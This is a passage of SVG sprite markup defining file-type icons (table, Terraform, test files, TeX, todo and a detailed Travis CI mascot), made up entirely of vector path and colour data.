7.25 7.91 6.12 12.24-.03.11-.06.22-.05.39 2.24 2.83 1.64 5.78 1.35 5.22-1.21-2.39-3.48-1.65-4.62-1.17z" fill="#fe5e2f"/></symbol><symbol viewBox="0 0 24 24" id="table" xmlns="http://www.w3.org/2000/svg"><path d="M6 2h8l6 6v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2m7 1.5V9h5.5L13 3.5m4 7.5h-4v2h1l-2 1.67L10 13h1v-2H7v2h1l3 2.5L8 18H7v2h4v-2h-1l2-1.67L14 18h-1v2h4v-2h-1l-3-2.5 3-2.5h1v-2z" fill="#8bc34a"/></symbol><symbol viewBox="0 0 200 200" id="terraform" xmlns="http://www.w3.org/2000/svg"><g transform="translate(177.03 -58.705) scale(.92881)" fill="#5c6bc0" stroke="#b0aff5" stroke-linejoin="round"><g stroke-width=".288"><path transform="skewY(26.439) scale(.89541 1)" d="M-203.8 170.95h64.714v51.88H-203.8zM-124.37 171.04h64.714v51.88h-64.714zM-124.37 236.09h64.714v51.88h-64.714z"/></g><path transform="skewY(-22.59) scale(-.92328 1)" stroke-width=".284" d="M-19.172 128.27h62.76v51.88h-62.76z"/></g></symbol><symbol viewBox="0 0 24 24" id="test-js" xmlns="http://www.w3.org/2000/svg"><path d="M5 19a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1c0-.21-.07-.41-.18-.57L13 8.35V4h-2v4.35L5.18 18.43c-.11.16-.18.36-.18.57m1 3a3 3 0 0 1-3-3c0-.6.18-1.16.5-1.63L9 7.81V6a1 1 0 0 1-1-1V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v1a1 1 0 0 1-1 1v1.81l5.5 9.56c.32.47.5 1.03.5 1.63a3 3 0 0 1-3 3H6m7-6l1.34-1.34L16.27 18H7.73l2.66-4.61L13 16m-.5-4a.5.5 0 0 1 .5.5.5.5 0 0 1-.5.5.5.5 0 0 1-.5-.5.5.5 0 0 1 .5-.5z" fill="#ffca28"/></symbol><symbol viewBox="0 0 24 24" id="test-jsx" xmlns="http://www.w3.org/2000/svg"><path d="M5 19a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1c0-.21-.07-.41-.18-.57L13 8.35V4h-2v4.35L5.18 18.43c-.11.16-.18.36-.18.57m1 3a3 3 0 0 1-3-3c0-.6.18-1.16.5-1.63L9 7.81V6a1 1 0 0 1-1-1V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v1a1 1 0 0 1-1 1v1.81l5.5 9.56c.32.47.5 1.03.5 1.63a3 3 0 0 1-3 3H6m7-6l1.34-1.34L16.27 18H7.73l2.66-4.61L13 16m-.5-4a.5.5 0 0 1 .5.5.5.5 0 0 1-.5.5.5.5 0 0 1-.5-.5.5.5 0 0 1 .5-.5z" fill="#00bcd4"/></symbol><symbol viewBox="0 0 24 24" id="test-ts" xmlns="http://www.w3.org/2000/svg"><path d="M5 19a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1c0-.21-.07-.41-.18-.57L13 8.35V4h-2v4.35L5.18 18.43c-.11.16-.18.36-.18.57m1 3a3 3 0 0 1-3-3c0-.6.18-1.16.5-1.63L9 7.81V6a1 1 0 0 1-1-1V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v1a1 1 0 0 1-1 1v1.81l5.5 9.56c.32.47.5 1.03.5 1.63a3 3 0 0 1-3 3H6m7-6l1.34-1.34L16.27 18H7.73l2.66-4.61L13 16m-.5-4a.5.5 0 0 1 .5.5.5.5 0 0 1-.5.5.5.5 0 0 1-.5-.5.5.5 0 0 1 .5-.5z" fill="#0288d1"/></symbol><symbol viewBox="0 0 500 500" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="tex" xmlns="http://www.w3.org/2000/svg"><g font-weight="400" font-size="40" font-family="sans-serif" letter-spacing="0" word-spacing="0" fill="#42a5f5" stroke-linejoin="miter"><text style="line-height:125%" x="9.914" y="364.919"><tspan x="9.914" y="364.919" font-size="287.5">T</tspan></text><text style="line-height:125%" x="136.374" y="435.558"><tspan x="136.374" y="435.558" font-size="287.5">E</tspan></text><text style="line-height:125%" x="307.819" y="361.201"><tspan x="307.819" y="361.201" font-size="287.5">X</tspan></text></g></symbol><symbol viewBox="0 0 24 24" id="todo" xmlns="http://www.w3.org/2000/svg"><path d="M3 5h6v6H3V5m2 2v2h2V7H5m6 0h10v2H11V7m0 8h10v2H11v-2m-6 5l-3.5-3.5 1.41-1.41L5 17.17l4.59-4.58L11 14l-6 6z" fill="#42a5f5"/></symbol><symbol id="travis" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"><style id="jkstyle2">.jkst0{fill:#cb3349}.jkst1{fill:#f4edae}.jkst2{fill:#e6ccad}.jkst3{fill:#656c67}.jkst4{fill:#e5caa3}.jkst5{fill:#c7b39a}.jkst6{fill:#ebd599}.jkst7{fill:#2d3136}.jkst8{fill:#edf6fa}.jkst9{opacity:.8}.jkst10{opacity:.75;fill:#ebd599}</style><g id="jkg99" transform="translate(11.017 12.484) scale(.8858)"><g id="jkg10"><path class="jkst0" d="M47.781 86.572s-31.118 21.903-32.335 30.247l2.335-.48S55.045 91.64 84.584 88.628l.669-3.749z" id="jkpath4" fill="#cb3349"/><path class="jkst0" d="M96.629 83.442l-24.511 17.385 1.325 1.063c.999-.806 43.539-13.798 43.539-13.798l8.969-5.623c-6.018.749-29.322.973-29.322.973z" id="jkpath6" fill="#cb3349"/><path class="jkst0" d="M117.932 104.469c17.405 0 43.495-17.046 43.495-17.046l-8.434-1.605c-.417.417-13.6-.462-13.6-.462l-6.258-1.738-14.951 17.036-1.217 2.956c1.075-.437.965.859.965.859z" id="jkpath8" fill="#cb3349"/></g><path class="jkst0" d="M174.728 158.832l-5.377 1.514-24.843-.537-15.541-12.085-18.784 4.7-21.726-1.88-12.166 13.294-22.828 6.819-11.398-3.534-.574-.494 5.116 12.527s11.588 12.424 18.061 13.885c6.472 1.461 18.165-.105 26.935-1.463 8.769-1.357 15.764-4.489 18.582-9.603 2.818-5.117 3.236-6.578 3.236-6.578s8.353 11.797 15.556 13.155c7.203 1.357 28.605-5.952 28.605-5.952s13.051-3.549 15.346-8.038c2.297-4.489 8.353-19.209 8.353-19.209zM44.456 169.038l-.361-.166-2.013-1.736z" id="jkpath12" fill="#cb3349"/><g id="jkg97"><path class="jkst1" d="M195.832 70.085a48.125 48.125 0 0 0-.21-2.009 26.472 26.472 0 0 0-.215-1.424c-1.793-1.509-3.831-2.851-5.952-4.071-2.299-1.343-4.704-2.546-7.159-3.663-2.438-1.15-4.942-2.191-7.461-3.207a134.313 134.313 0 0 0-3.798-1.477c-1.269-.495-2.55-.956-3.835-1.424 2.697.447 5.366 1.059 8.015 1.741 1.723.446 3.437.945 5.14 1.477-12.112-31.655-41.07-52.27-72.687-52.27-31.622 0-60.577 20.615-72.686 52.27a109.044 109.044 0 0 1 5.137-1.477c2.653-.682 5.323-1.294 8.018-1.741-1.289.468-2.567.929-3.84 1.424-1.267.472-2.536.967-3.798 1.477-2.519 1.016-5.016 2.057-7.46 3.207-2.45 1.117-4.857 2.32-7.156 3.663-2.121 1.219-4.157 2.562-5.957 4.071-.075.457-.151.951-.21 1.424a51.768 51.768 0 0 0-.21 2.009 51.354 51.354 0 0 0-.177 4.061 59.216 59.216 0 0 0 .5 8.11c.37 2.692.864 5.366 1.595 7.951.36 1.295.768 2.572 1.24 3.808.237.617.495 1.225.764 1.816.134.294.274.585.413.864l.172.328c.199.101.408.204.607.3l1.204.575c.671.305 1.6.746 2.368 1.09.043-.037.086-.075.123-.114l-2.235-8.513c.474-.13 4.718-1.225 12.032-2.617a38.816 38.816 0 0 1-1.772-.381c-1.665-.414-3.309-.919-4.899-1.564a22.415 22.415 0 0 1-2.309-1.115c-.742-.426-1.472-.908-2.037-1.548 8.036 2.622 24.64 1.434 39.399-.091 13.499-1.391 27.029-2.293 40.63-2.32 13.602.027 27.137.929 40.63 2.32 14.766 1.525 31.37 2.713 39.405.091-.564.64-1.293 1.123-2.035 1.548a22.5 22.5 0 0 1-2.308 1.115c-1.592.645-3.234 1.15-4.899 1.564-.247.059-.496.113-.743.166 8.02 1.488 12.689 2.697 13.188 2.831l-2.138 8.11c.43-.194.864-.381 1.29-.574l1.202-.575c.2-.097.403-.199.607-.3l.166-.328c.146-.279.286-.57.419-.864.27-.591.528-1.199.764-1.816a42.235 42.235 0 0 0 1.241-3.808c.731-2.585 1.225-5.259 1.595-7.951.345-2.685.526-5.398.501-8.11a50.874 50.874 0 0 0-.179-4.059z" id="jkpath14" fill="#f4edae"/><path class="jkst2" d="M116.787 182.661c-1.064.16-2.128.295-3.186.375-.682.033-1.404.102-2.059.102l-.242.005c.822-1.837 1.446-3.26 1.919-4.339.963 1.08 2.188 2.417 3.568 3.857z" id="jkpath16" fill="#e6ccad"/><path class="jkst2" d="M119.101 185.018c3.304 3.272 7.398 5.146 11.904 5.479-7.569 3.074-14.702 4.26-20.197 4.63-5.478.367-11.032-.279-16.474-1.771.456-.082.79-.14 1.193-.189.447-.054 10.206-1.327 14.605-7.868l.413.009 1.08-.009c.731 0 1.395-.06 2.094-.087a43.69 43.69 0 0 0 4.878-.703c.167.171.333.338.504.509z" id="jkpath18" fill="#e6ccad"/><path class="jkst3" d="M128.464 87.071a98.82 98.82 0 0 1-1.048 1.343c-1.933 2.444-4.614 5.57-7.794 8.627a369.585 369.585 0 0 0-11.404-.177c-6.46 0-12.655.171-18.537.457 8.311-3.449 18.296-6.818 29.109-8.842a113.323 113.323 0 0 1 9.674-1.408z" id="jkpath20" fill="#656c67"/><path class="jkst3" d="M79.821 90.792c-2.966 2.084-6.317 4.744-9.566 7.971a360.155 360.155 0 0 0-21.567 2.81c9.207-4.232 19.713-8.127 31.133-10.781z" id="jkpath22" fill="#656c67"/><path class="jkst3" d="M181.48 107.969l-3.384 23.679-16.212 11.355-42.283-4.807-6.365-20.961a1.383 1.383 0 0 0-1.108-.971c-1.567-.253-2.953-.382-4.108-.382-1.16 0-2.541.129-4.115.382-.522.086-.95.461-1.106.971l-6.209 20.45-42.047 9.357-16.662-11.672-3.283-26.572c.715-.404 1.441-.806 2.176-1.209 1.031-.222 2.191-.457 3.475-.704l3.094 25.073c.048.392.264.741.586.967l11.462 8.032a1.425 1.425 0 0 0 1.101.213l34.57-7.692c.119-.027.237-.069.344-.124a1.39 1.39 0 0 0 .682-.827l6.225-20.498c1.67-.43 5.947-1.429 9.706-1.429 3.749 0 8.03.999 9.701 1.429l6.225 20.498c.161.532.624.912 1.176.977l34.57 3.927c.335.037.677-.05.952-.242l11.469-8.025c.31-.22.52-.566.573-.946l3.062-21.421c2.301.444 4.224.846 5.733 1.172z" id="jkpath24" fill="#656c67"/><path class="jkst3" d="M185.751 93.119l-2.976 11.29c-6.086-1.342-19.456-3.975-37.654-5.747 5.946-2.535 12-5.715 17.531-9.69 10.829 1.53 18.78 3.169 23.099 4.147z" id="jkpath26" fill="#656c67"/><g id="jkg32"><path class="jkst4" d="M63.841 128.441c2.357-1.274 5.021-1.085 9.19-1.079.447.011.908.005 1.39-.005.41-.005.822-.011 1.258-.022 4.296-.042 7.869.366 7.806-6.381-.065-6.746-3.062-12.198-7.354-12.155-4.297.037-8.454 5.564-8.197 12.306.07 1.756.328 3.023.742 3.937-3.745.938-4.777 3.254-4.835 3.399zm51.657-27.749a46.634 46.634 0 0 1-5.249 3.712l-6.097 3.68a52.065 52.065 0 0 0-7.331 1.467 1.216 1.216 0 0 0-.317.14 1.406 1.406 0 0 0-.629.794l-6.209 20.46-33.185 7.38-10.452-7.321-3.041-24.634c5.936-1.09 13.874-2.352 23.41-3.42a56.802 56.802 0 0 0-2.955 3.855l-5.677 8.149 8.266-5.511c.123-.086 5.387-3.549 13.998-7.761a377.407 377.407 0 0 1 35.468-.99z" id="jkpath28" fill="#e5caa3"/><path class="jkst4" d="M151.835 125.675c-.042-.16-.945-2.873-4.942-2.397.461-1.003.666-2.356.521-4.21-.528-6.731-4.443-12.08-8.735-11.931-4.292.152-7.042 5.731-6.805 12.478.236 6.741 3.84 6.694 8.132 6.543 5.77-.107 8.939-1.88 11.829-.483zm21.18-19.385l-2.992 20.944-10.539 7.379-33.141-3.766-6.183-20.363a1.41 1.41 0 0 0-.945-.934c-.205-.06-4.308-1.23-8.659-1.607l.795-.053c.687-.049 12.118-1.451 25.767-6.157 15.115 1.161 27.458 3.02 35.897 4.557z" id="jkpath30" fill="#e5caa3"/></g><g id="jkg38"><path class="jkst5" d="M63.841 128.441c2.357-1.274 5.021-1.085 9.19-1.079.447.011.908.005 1.39-.005.41-.005.822-.011 1.258-.022 4.296-.042 7.869.366 7.806-6.381-.065-6.746-3.062-12.198-7.354-12.155-4.297.037-8.454 5.564-8.197 12.306.07 1.756.328 3.023.742 3.937-3.745.938-4.777 3.254-4.835 3.399zm51.657-27.749a46.634 46.634 0 0 1-5.249 3.712l-6.097 3.68a52.065 52.065 0 0 0-7.331 1.467 1.216 1.216 0 0 0-.317.14 1.406 1.406 0 0 0-.629.794l-6.209 20.46-33.185 7.38-10.452-7.321-3.041-24.634c5.936-1.09 13.874-2.352 23.41-3.42a56.802 56.802 0 0 0-2.955 3.855l-5.677 8.149 8.266-5.511c.123-.086 5.387-3.549 13.998-7.761a377.407 377.407 0 0 1 35.468-.99z" id="jkpath34" fill="#c7b39a"/><path class="jkst5" d="M151.835 125.675c-.042-.16-.945-2.873-4.942-2.397.461-1.003.666-2.356.521-4.21-.528-6.731-4.443-12.08-8.735-11.931-4.292.152-7.042 5.731-6.805 12.478.236 6.741 3.84 6.694 8.132 6.543 5.77-.107 8.939-1.88 11.829-.483zm21.18-19.385l-2.992 20.944-10.539 7.379-33.141-3.766-6.183-20.363a1.41 1.41 0 0 0-.945-.934c-.205-.06-4.308-1.23-8.659-1.607l.795-.053c.687-.049 12.118-1.451 25.767-6.157 15.115 1.161 27.458 3.02 35.897 4.557z" id="jkpath36" fill="#c7b39a"/></g><path class="jkst2" d="M187.481 115.502c.508.419.911 1.504.456 6.558-.559 6.188-3.16 17.049-4.771 18.8-1.778.344-5.505-.064-7.778-.595.393-1.559.505-2.306.822-3.9l3.975-2.781c.317-.22.526-.566.58-.941l2.778-19.466c1.686.912 3.421 1.899 3.938 2.325z" id="jkpath40" fill="#e6ccad"/><path class="jkst2" d="M40.937 140.908c.199.704.408 1.407.624 2.1-2.139.628-6.495 1.23-8.465.886-1.633-1.645-4.679-12.966-5.345-18.978-.543-4.871-.162-5.924.333-6.334.575-.483 2.728-1.708 4.593-2.707l2.519 20.449c.048.393.257.741.586.967z" id="jkpath42" fill="#e6ccad"/><path class="jkst2" d="M121.347 141.194l-.151 1.305s-4.581 4.248-11.956 5.199c-7.375.95-13.171-3.582-13.171-3.582.242.788.586 2.567 2.256 4.086a53.184 53.184 0 0 0-6.313-.393c-.804 0-1.616.023-2.401.061-4.539.237-10.924 7.1-15.414 14.014-2.203.697-9.089 2.883-17.06 5.237-7.44-10.309-11.098-20.842-11.469-21.932l.005-.006c-.15-.419-.301-.839-.441-1.268l1.913 1.338v.005l4.726 3.309 1.58 1.101c.236.167.515.253.794.253.102 0 .204-.011.305-.031l43.435-9.67a1.385 1.385 0 0 0 1.025-.95l6.194-20.39c1.069-.145 2.008-.22 2.814-.22.801 0 1.746.075 2.815.22l6.374 20.997c.162.532.624.919 1.171.977z" id="jkpath44" fill="#e6ccad"/><path class="jkst2" d="M170.926 140.066l1.402-.984c-.232.973-.484 1.94-.747 2.896-1.949 6.248-4.25 11.774-6.805 16.656-.565.039-1.161.061-1.8.061-1.972 0-3.986-.167-6.215-.371-3.868-.355-10.007-1.058-11.946-1.283-1.67-1.332-7.385-5.873-12.14-9.615-.187-.151-.348-.291-.505-.42-.837-.708-1.789-1.513-3.717-1.513-1.751 0-4.308.638-10.489 2.508 3.212-2.401 3.233-5.5 3.233-5.5l.151-1.305 40.748 4.629a1.41 1.41 0 0 0 .955-.241l4.094-2.868z" id="jkpath46" fill="#e6ccad"/><path class="jkst6" d="M140.937 54.337c.124 3.625.033 10.194-1.655 16.345a1.335 1.335 0 0 0 0 .704 259.298 259.298 0 0 0-6.446-.591c2.412-5.054 2.938-10.436 3.052-12.332 1.852-1.317 3.696-2.896 5.049-4.126z" id="jkpath48" fill="#ebd599"/><path class="jkst6" d="M79.456 58.462c.112 1.896.638 7.267 3.046 12.317-2.149.171-4.297.37-6.441.596a1.328 1.328 0 0 0 0-.694c-1.686-6.139-1.772-12.714-1.654-16.345 1.353 1.231 3.19 2.81 5.049 4.126z" id="jkpath50" fill="#ebd599"/><path class="jkst7" d="M151.835 125.675c-2.89-1.396-6.059.377-11.828.484-4.292.151-7.896.198-8.132-6.543-.237-6.747 2.513-12.326 6.805-12.478 4.292-.15 8.207 5.2 8.735 11.931.145 1.854-.06 3.207-.521 4.21 3.996-.477 4.899 2.235 4.941 2.396zm-13.488-9.878a2.203 2.203 0 0 0 2.154-2.235 2.186 2.186 0 0 0-2.235-2.153 2.194 2.194 0 0 0 .081 4.388z" id="jkpath52" fill="#2d3136"/><circle transform="rotate(-1.049 138.093 113.428)" class="jkst8" cx="138.307" cy="113.602" id="jkellipse54" r="2.194" fill="#edf6fa"/><path class="jkst7" d="M83.484 120.953c.063 6.747-3.509 6.339-7.806 6.381-.435.011-.848.016-1.258.022-.482.011-.944.016-1.39.005-4.168-.005-6.833-.194-9.19 1.079.058-.145 1.09-2.461 4.835-3.4-.414-.914-.673-2.181-.742-3.937-.257-6.741 3.9-12.269 8.197-12.306 4.292-.042 7.289 5.411 7.354 12.156zm-6.634-3.529a2.195 2.195 0 1 0-.122-4.388 2.195 2.195 0 0 0 .122 4.388z" id="jkpath56" fill="#2d3136"/><circle transform="rotate(-1.473 76.78 115.216)" class="jkst8" cx="76.79" cy="115.23" id="jkellipse58" r="2.195" fill="#edf6fa"/><g class="jkst9" id="jkg64" opacity=".8"><path class="jkst6" d="M50.691 75.155s.667-8.692 2.03-12.023c.702-1.717 4.996-2.81 8.276-3.591 3.278-.78 8.508-2.342 9.524 2.264 1.015 4.606 2.653 7.963 3.746 9.446l-1.404-18.97-22.562 5.464-1.484 16.786.703 1.327 1.171-.703" id="jkpath60" fill="#ebd599"/><path class="jkst6" d="M164.855 75.155s-.666-8.692-2.029-12.023c-.703-1.717-4.997-2.81-8.275-3.591-3.28-.78-8.51-2.342-9.526 2.264-1.013 4.606-2.654 7.963-3.748 9.446l1.407-18.97 22.562 5.464 1.483 16.786-.703 1.327-1.171-.703" id="jkpath62" fill="#ebd599"/></g><path class="jkst10" d="M132.965 18.378s-.598 45.49-11.224 45.49h-14.875-12.752c-10.626 0-11.484-45.47-11.484-45.47l-5.22 15.438.085 21.183 3.707 2.947 1.685 9.096 2.357 5.307 45.482.084 2.105-3.791 1.769-6.4.254-4.043 5.023-14.341z" id="jkpath66" opacity=".75" fill="#ebd599"/><path class="jkst10" d="M166.429 60.794s2.187 15.692 7.974 18.522c5.788 2.829 0 0 0 0l-8.103-2.444z" id="jkpath68" opacity=".75" fill="#ebd599"/><path class="jkst10" d="M48.908 60.794s-2.187 15.692-7.975 18.522c-5.788 2.829 0 0 0 0l8.104-2.444z" id="jkpath70" opacity=".75" fill="#ebd599"/><path class="jkst7" d="M167.987 76.8c2.755.902 5.526 1.858 8.036 3.325-1.343-.532-2.729-.913-4.126-1.257a70.385 70.385 0 0 0-4.201-.924c-2.82-.531-5.65-.982-8.498-1.327-2.841-.37-5.687-.682-8.546-.924-2.858-.241-5.709-.483-8.573-.65-11.446-.704-22.924-.88-34.41-.892-11.483.006-22.962.221-34.409.897-2.862.166-5.715.409-8.572.651-2.857.241-5.71.548-8.546.923-2.847.345-5.678.796-8.498 1.327-1.407.264-2.81.57-4.206.919-1.391.344-2.783.725-4.126 1.257 2.509-1.466 5.28-2.427 8.041-3.331.232-.075.467-.139.703-.214-.015-.059-.032-.113-.043-.177-.048-.317-1.069-7.859.709-18.645.086-.516.456-.935.962-1.075l2.917-.831c.634-22.625 9.952-33.266 10.243-33.594-8.326 13.397-8.25 29.286-8.106 32.986l18.128-5.152c.016-.005.026-.005.042-.01.076-.016.151-.027.226-.032.021 0 .049-.006.075-.006a1.19 1.19 0 0 1 .297.027c.015 0 .031.011.053.016.075.016.145.042.224.075.033.016.054.033.086.049.058.033.119.07.177.112.016.011.034.016.049.033l.032.032c.016.016.037.027.054.044.012.016.494.493 1.262 1.209-.182-5.973.102-23.108 8.262-37.31-.172.498-6.646 19.428-4.415 40.645.724.58 1.486 1.149 2.229 1.649.359.247.58.655.585 1.09.006.07.161 6.833 3.148 12.586.042.086.074.177.102.268 7.429-.505 14.878-.709 22.312-.714 7.436.005 14.88.22 22.307.731.027-.097.06-.193.109-.285 2.986-5.753 3.142-12.516 3.142-12.586.01-.436.231-.843.591-1.09.741-.5 1.493-1.069 2.224-1.649 2.234-21.217-4.24-40.147-4.411-40.645 8.153 14.201 8.444 31.336 8.262 37.31a62.536 62.536 0 0 0 1.261-1.209c.016-.016.039-.027.053-.044.012-.01.018-.021.033-.032.016-.016.033-.022.049-.033.06-.042.119-.079.177-.118.028-.01.054-.027.081-.043.081-.033.155-.059.236-.08.016 0 .033-.011.049-.011.096-.021.2-.032.296-.027.027 0 .049.006.07.006.075.005.156.016.231.032.012.006.028.006.042.01l18.129 5.152c.146-3.7.221-19.59-8.104-32.986.289.328 9.609 10.969 10.237 33.594l2.922.831c.499.14.875.559.962 1.075 1.777 10.786.752 18.328.708 18.645-.01.065-.026.124-.042.182.239.07.47.139.707.215zm-3.297-.968c.14-1.207.789-7.809-.591-16.801l-20.52-5.833c.184 3.475.265 11.012-1.707 18.199a1.619 1.619 0 0 1-.101.258c.203.021.408.037.606.064 5.769.661 11.511 1.584 17.189 2.83 1.712.398 3.426.823 5.124 1.283zm-25.409-5.151c1.688-6.15 1.779-12.72 1.655-16.345-1.353 1.23-3.197 2.809-5.049 4.125-.114 1.896-.64 7.278-3.052 12.332 2.149.173 4.298.366 6.446.591a1.33 1.33 0 0 1 0-.703zm-56.78.098c-2.408-5.05-2.934-10.422-3.046-12.317-1.858-1.316-3.696-2.895-5.049-4.125-.119 3.631-.032 10.206 1.654 16.345.065.237.058.473 0 .694 2.145-.227 4.292-.425 6.441-.597zm-8.933.864a1.65 1.65 0 0 1-.098-.247c-1.975-7.187-1.889-14.723-1.712-18.199L51.244 59.03c-1.38 8.982-.736 15.583-.597 16.797 1.703-.462 3.411-.887 5.131-1.284 2.835-.628 5.693-1.154 8.556-1.638 2.869-.478 5.747-.843 8.626-1.192.205-.027.404-.042.608-.07z" id="jkpath72" fill="#2d3136"/><g id="jkXMLID_1_"><g id="jkg78"><path class="jkst7" d="M129.293 18.973v17.025h-12.068v-4.974h-2.72v22.981h4.109v12.85H97.505v-12.85h4.092v-22.98h-2.711v4.974h-12.06V18.973zm-3.626 13.408v-9.789H90.443v9.789h4.816v-4.974h9.964v30.225h-4.1v5.606h13.865v-5.606h-4.1V27.407h9.964v4.974z" id="jkpath74" fill="#2d3136"/><path class="jkst0" id="jkpolygon76" fill="#cb3349" d="M101.123 57.632h4.1V27.407h-9.964v4.974h-4.816v-9.79h35.224v9.79h-4.816v-4.974h-9.964v30.225h4.1v5.606h-13.864z"/></g></g><path class="jkst3" d="M30.694 93.119c1.759-.399 4.136-.907 7.051-1.47a104.37 104.37 0 0 0-6.222 4.597z" id="jkpath83" fill="#656c67"/><path class="jkst5" d="M95.111 139.78s.492 3.165-3.938 4.519c-4.428 1.355-32.482 9.716-35.682 9.263-3.199-.451-11.319-5.874-11.319-5.874l-1.969-7.004 12.016 7.492z" id="jkpath85" fill="#c7b39a"/><path class="jkst5" d="M120.242 139.167s-.354 3.182 4.131 4.345c4.484 1.161 32.875 8.295 36.05 7.704 3.176-.591 11.053-6.361 11.053-6.361l1.663-7.084-11.045 6.588z" id="jkpath87" fill="#c7b39a"/><path class="jkst5" d="M28.412 133.956s3.887 7.775 10.166 5.083l4.485 1.645-.448 3.29-9.419 1.195-2.541-1.494z" id="jkpath89" fill="#c7b39a"/><path class="jkst5" d="M187.551 131.822s-6.353 8.115-12.632 5.424l-2.019 1.302.448 3.289 9.419 1.196 2.54-1.495z" id="jkpath91" fill="#c7b39a"/><path class="jkst5" d="M89.279 192.904s23.03 11.611 49.106-4.188l-8.374-.571s-18.272 7.232-32.738 3.235z" id="jkpath93" fill="#c7b39a"/><path class="jkst7" d="M112.626 171.509l1.594 1.899c.036.046 3.577 4.26 7.906 8.552 2.879 2.853 6.357 4.297 10.343 4.297 1.361 0 2.791-.175 4.235-.523 1.34-.326 2.796-.673 4.287-1.03 5.384-1.287 11.482-2.749 14.438-3.577.585-.166 1.238-.315 1.925-.472 3.935-.909 9.329-2.163 12.187-7.889 2.149-4.297 5.047-9.874 7.197-13.961-1.863.859-3.816 1.79-5.203 2.52-2.138 1.123-4.938 1.667-8.558 1.667-2.152 0-4.266-.181-6.605-.389-4.675-.43-12.586-1.361-12.667-1.372l-.606-.067-.478-.383c-.071-.052-7.003-5.575-12.606-9.981-.227-.186-.434-.358-.621-.513-.59-.503-.59-.503-.942-.503-1.797 0-7.02 1.62-18.462 5.167l-.703.223-.689-.26c-.078-.026-7.585-2.81-16.581-2.81-.736 0-1.47.019-2.185.056-.901.046-5.958 2.448-12.425 12.68l-.419.657-.741.238c-.107.037-11.238 3.63-23.042 7.005l-.766.218-.725-.337c-.077-.031-4.696-2.174-9.091-4.194 2.397 3.541 5.462 7.958 8.159 11.422 4.711 6.067 10.649 11.674 22.034 11.674 1.428 0 2.945-.088 4.503-.265 11.581-1.309 14.563-1.837 16.168-2.117.543-.092.973-.171 1.522-.238.088-.011 9.571-1.237 12.232-7.206 2.744-6.134 3.298-7.595 3.319-7.651l.968-2.583s.12-.669.317-.877c0 .005 0 .005.005.005l.019.016c.305.219.757.902.757.902zM40.499 55.71c-2.516 1.014-5.016 2.06-7.46 3.209-2.449 1.119-4.856 2.32-7.155 3.66-2.121 1.222-4.157 2.563-5.954 4.076-.077.455-.149.952-.211 1.423a51.357 51.357 0 0 0-.388 6.068c-.026 2.713.16 5.426.502 8.112.372 2.692.864 5.369 1.594 7.952a41.963 41.963 0 0 0 1.243 3.804c.233.623.492 1.228.762 1.818.134.294.274.585.413.864l.172.326c.201.104.409.207.605.3l1.206.574c.673.311 1.6.751 2.366 1.093.046-.037.088-.078.124-.114l-2.231-8.511c.471-.129 4.717-1.227 12.032-2.619a33.744 33.744 0 0 1-1.775-.379 36.704 36.704 0 0 1-4.898-1.563 22.857 22.857 0 0 1-2.309-1.119c-.741-.425-1.471-.905-2.035-1.547 8.035 2.624 24.637 1.433 39.398-.088 13.501-1.393 27.028-2.293 40.628-2.325 13.6.031 27.138.931 40.63 2.325 14.77 1.522 31.374 2.713 39.406.088-.564.642-1.293 1.122-2.034 1.547-.739.42-1.522.782-2.309 1.119a36.965 36.965 0 0 1-4.903 1.563c-.244.056-.492.114-.741.166 8.02 1.486 12.689 2.697 13.186 2.832l-2.138 8.107c.43-.192.864-.377 1.288-.574l1.207-.574c.196-.094.404-.196.606-.3l.166-.326c.144-.279.284-.57.419-.864.27-.591.528-1.196.767-1.818.471-1.231.879-2.51 1.236-3.804.731-2.583 1.228-5.26 1.595-7.952.346-2.686.528-5.4.502-8.112a52.755 52.755 0 0 0-.176-4.059 51.573 51.573 0 0 0-.213-2.009 29.83 29.83 0 0 0-.213-1.423c-1.797-1.513-3.831-2.853-5.954-4.076-2.299-1.34-4.704-2.541-7.159-3.66-2.438-1.149-4.943-2.195-7.46-3.209a140.105 140.105 0 0 0-3.801-1.476c-1.267-.491-2.552-.956-3.835-1.423 2.696.445 5.369 1.06 8.013 1.739 1.724.446 3.444.948 5.141 1.481-12.11-31.658-41.07-52.272-72.685-52.272-31.622 0-60.576 20.614-72.684 52.272a107.832 107.832 0 0 1 5.135-1.481c2.651-.678 5.322-1.294 8.02-1.739-1.29.466-2.568.931-3.842 1.423-1.268.47-2.535.967-3.799 1.475zm159.43 18.316a53.972 53.972 0 0 1-.258 8.733 55.462 55.462 0 0 1-1.619 8.605c-.4 1.414-.86 2.811-1.404 4.198a38.295 38.295 0 0 1-.89 2.071c-.161.341-.331.678-.523 1.025l-.284.512a8.975 8.975 0 0 1-.348.574l-.294.457-.461.237c-.492.254-.895.445-1.342.653l-1.298.585a88.22 88.22 0 0 1-2.62 1.065c-.611.239-1.15.457-1.662.674l-1.444 5.487c-.036-.009-.471-.12-1.283-.315l-.078.574c1.594.833 4.726 2.522 5.793 3.403 2.148 1.775 2.299 4.587 1.823 9.841-.244 2.697-1.139 7.946-2.381 12.767-2.144 8.298-3.283 9.273-4.753 9.649-.746.192-1.894.383-3.008.383-2.266 0-5.353.063-7.429-.439-.533 1.888-2.055 6.812-5.068 12.962.151-.073.3-.135.435-.207 3.717-1.952 10.861-5.064 11.162-5.199l5.643-2.452-2.89 5.435c-.067.118-6.264 11.773-10.059 19.383-3.769 7.538-10.835 9.179-15.065 10.151-.637.151-1.241.291-1.733.425-3.035.854-9.18 2.319-14.599 3.623-.064.016-.13.033-.197.042a64.057 64.057 0 0 1-10.955 5.411c-14.568 5.518-29.923 5.208-43.844.092a647.05 647.05 0 0 1-9.193 1.097 45.12 45.12 0 0 1-4.985.291c-13.264 0-20.294-6.736-25.425-13.331-5.493-7.062-12.212-17.546-12.497-17.985L31 158.426l6.585 2.961c3.152 1.419 12.524 5.757 15.205 7 .217-.061.43-.124.642-.186-4.457-6.357-8.112-13.605-10.695-21.634-2.195.662-5.576 1.175-8.206 1.175-.961 